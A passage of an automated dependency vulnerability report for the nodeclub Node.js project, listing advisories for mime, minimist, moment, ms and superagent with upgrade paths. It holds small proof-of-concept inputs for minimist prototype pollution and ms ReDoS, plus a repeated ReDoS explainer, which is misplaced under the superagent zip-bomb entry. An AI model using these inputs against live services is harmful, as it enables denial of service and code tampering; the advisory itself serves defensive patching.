By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade debug
to version 2.6.9, 3.1.0, 3.2.7, 4.3.1 or higher.
References
low severity
- Vulnerable module: mime
- Introduced through: superagent@1.8.2, express@4.15.2 and others
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › superagent@1.8.2 › mime@1.3.4Remediation: Upgrade to superagent@2.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › send@0.15.1 › mime@1.3.4Remediation: Upgrade to express@4.16.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › serve-static@1.12.1 › send@0.15.1 › mime@1.3.4Remediation: Upgrade to express@4.16.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › qn@1.1.1 › formstream@0.0.8 › mime@1.2.11Remediation: Upgrade to qn@1.3.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › superagent@1.8.2 › mime@1.3.4Remediation: Upgrade to superagent@2.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › send@0.15.1 › mime@1.3.4Remediation: Upgrade to express@4.16.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › serve-static@1.12.1 › send@0.15.1 › mime@1.3.4Remediation: Upgrade to express@4.16.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › qn@1.1.1 › formstream@0.0.8 › mime@1.2.11Remediation: Upgrade to qn@1.3.0.
Overview
mime is a comprehensive, compact MIME type module.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It uses regex the following regex /.*[\.\/\\]/
in its lookup, which can cause a slowdown of 2 seconds for 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mime
to version 1.4.1, 2.0.3 or higher.
References
low severity
- Vulnerable module: minimist
- Introduced through: pm2@1.1.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › mkdirp@0.5.1 › minimist@0.0.8
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype
.
Notes:
This vulnerability is a bypass to CVE-2020-7598
The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.
PoC by Snyk
require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist
to version 0.2.4, 1.2.6 or higher.
References
low severity
- Vulnerable module: moment
- Introduced through: moment@2.15.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › moment@2.15.2Remediation: Upgrade to moment@2.19.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › moment@2.15.2Remediation: Upgrade to moment@2.19.3.
Overview
moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (/[0-9]*['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+|[\u0600-\u06FF\/]+(\s*?[\u0600-\u06FF]+){1,2}/i
) in order to parse dates specified as strings. This can cause a very low impact of about 2 seconds matching time for data 50k characters long.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade moment
to version 2.19.3 or higher.
References
low severity
- Vulnerable module: ms
- Introduced through: body-parser@1.17.1, express@4.15.2 and others
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › body-parser@1.17.1 › debug@2.6.1 › ms@0.7.2Remediation: Upgrade to body-parser@1.17.2.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › debug@2.6.1 › ms@0.7.2Remediation: Upgrade to express@4.15.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › send@0.15.1 › ms@0.7.2Remediation: Upgrade to express@4.15.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › send@0.15.1 › debug@2.6.1 › ms@0.7.2Remediation: Upgrade to express@4.15.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › serve-static@1.12.1 › send@0.15.1 › ms@0.7.2Remediation: Upgrade to express@4.15.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › serve-static@1.12.1 › send@0.15.1 › debug@2.6.1 › ms@0.7.2Remediation: Upgrade to express@4.15.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › mongoose@4.4.9 › ms@0.7.1Remediation: Upgrade to mongoose@4.10.2.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › compression@1.6.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to compression@1.7.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express-session@1.12.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to express-session@1.15.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › method-override@2.3.5 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to method-override@2.3.9.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to pm2@2.1.6.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › qn@1.1.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to qn@1.3.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › helmet@1.3.0 › connect@3.4.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to helmet@3.6.1.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › mongoose@4.4.9 › mquery@1.10.0 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to mongoose@4.10.2.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › pm2-axon@2.0.11 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to pm2@2.7.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › qn@1.1.1 › urllib@2.5.0 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to qn@1.3.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › helmet@1.3.0 › connect@3.4.1 › finalhandler@0.4.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to helmet@3.6.1.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › eventproxy@0.3.4 › debug@2.1.3 › ms@0.7.0Remediation: Upgrade to eventproxy@1.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › qn@1.1.1 › urllib@2.5.0 › humanize-ms@1.0.2 › ms@0.7.3Remediation: Upgrade to qn@1.3.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › body-parser@1.17.1 › debug@2.6.1 › ms@0.7.2Remediation: Upgrade to body-parser@1.17.2.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › debug@2.6.1 › ms@0.7.2Remediation: Upgrade to express@4.15.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › send@0.15.1 › ms@0.7.2Remediation: Upgrade to express@4.15.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › send@0.15.1 › debug@2.6.1 › ms@0.7.2Remediation: Upgrade to express@4.15.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › serve-static@1.12.1 › send@0.15.1 › ms@0.7.2Remediation: Upgrade to express@4.15.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › serve-static@1.12.1 › send@0.15.1 › debug@2.6.1 › ms@0.7.2Remediation: Upgrade to express@4.15.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › mongoose@4.4.9 › ms@0.7.1Remediation: Upgrade to mongoose@4.10.2.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › compression@1.6.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to compression@1.7.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express-session@1.12.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to express-session@1.15.3.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › method-override@2.3.5 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to method-override@2.3.9.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to pm2@2.1.6.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › qn@1.1.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to qn@1.3.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › helmet@1.3.0 › connect@3.4.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to helmet@3.6.1.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › mongoose@4.4.9 › mquery@1.10.0 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to mongoose@4.10.2.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › pm2-axon@2.0.11 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to pm2@2.7.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › qn@1.1.1 › urllib@2.5.0 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to qn@1.3.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › helmet@1.3.0 › connect@3.4.1 › finalhandler@0.4.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to helmet@3.6.1.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › eventproxy@0.3.4 › debug@2.1.3 › ms@0.7.0Remediation: Upgrade to eventproxy@1.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › qn@1.1.1 › urllib@2.5.0 › humanize-ms@1.0.2 › ms@0.7.3Remediation: Upgrade to qn@1.3.0.
Overview
ms
is a tiny millisecond conversion utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms()
function.
Proof of concept
ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s
Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.
For more information on Regular Expression Denial of Service (ReDoS)
attacks, go to our blog.
Disclosure Timeline
- Feb 9th, 2017 - Reported the issue to package owner.
- Feb 11th, 2017 - Issue acknowledged by package owner.
- April 12th, 2017 - Fix PR opened by Snyk Security Team.
- May 15th, 2017 - Vulnerability published.
- May 16th, 2017 - Issue fixed and version
2.0.0
released. - May 21th, 2017 - Patches released for versions
>=0.7.1, <=1.0.0
.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ms
to version 2.0.0 or higher.
References
low severity
- Vulnerable module: superagent
- Introduced through: superagent@1.8.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › superagent@1.8.2Remediation: Upgrade to superagent@3.7.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › superagent@1.8.2Remediation: Upgrade to superagent@3.7.0.
Overview
superagent is a Small progressive client-side HTTP request library, and Node.js module with the same API, supporting many high-level HTTP client features.
Affected versions of this package are vulnerable to Denial of Service (DoS). It uncompresses responses in memory, and a malicious user may send a specially crafted zip file which will then unzip in the server and cause excessive CPU consumption. This is also known as a Zip Bomb
.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade superagent
to version 3.7.0 or higher.